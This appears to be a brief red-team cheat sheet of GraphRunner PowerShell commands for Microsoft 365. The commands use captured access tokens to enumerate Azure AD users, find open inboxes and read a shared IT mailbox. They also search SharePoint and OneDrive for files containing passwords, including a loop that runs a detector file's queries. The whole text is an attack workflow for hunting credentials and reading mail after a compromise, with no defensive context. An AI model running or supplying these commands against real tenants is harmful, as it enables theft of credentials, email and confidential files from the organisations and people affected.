Get-AzureADUsers -Tokens $tokens -OutFile users.txt
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
Search Sharepoint for Secrets
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm 'password AND filetype:xlsx'
Search Shared Mailboxe
Get-Inbox -Tokens $tokens -userid it@demo.corp -TotalMessages 50 -OutFile emails.csv
Snaffler Search of SPSites and OneDrives
Invoke-GraphRunner -Tokens $tokens -DisableRecon -DisableUsers -DisableGroups -DisableCAPS -DisableApps -DisableEmail -DisableTeams
Or this
$folderName = "SharePointSearch-" + (Get-Date -Format 'yyyyMMddHHmmss')
New-Item -Path $folderName -ItemType Directory | Out-Null
$spout = "$folderName\interesting-files.csv"
$DetectorFile = ".\default_detectors.json"
$detectors = Get-Content $DetectorFile
$detector = $detectors |ConvertFrom-Json
foreach($detect in $detector.Detectors){Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm $detect.SearchQuery -DetectorName $detect.DetectorName -PageResults -ResultCount 500 -ReportOnly -OutFile $spout -GraphRun}
Search User Attributes
Invoke-SearchUserAttributes -tokens $tokens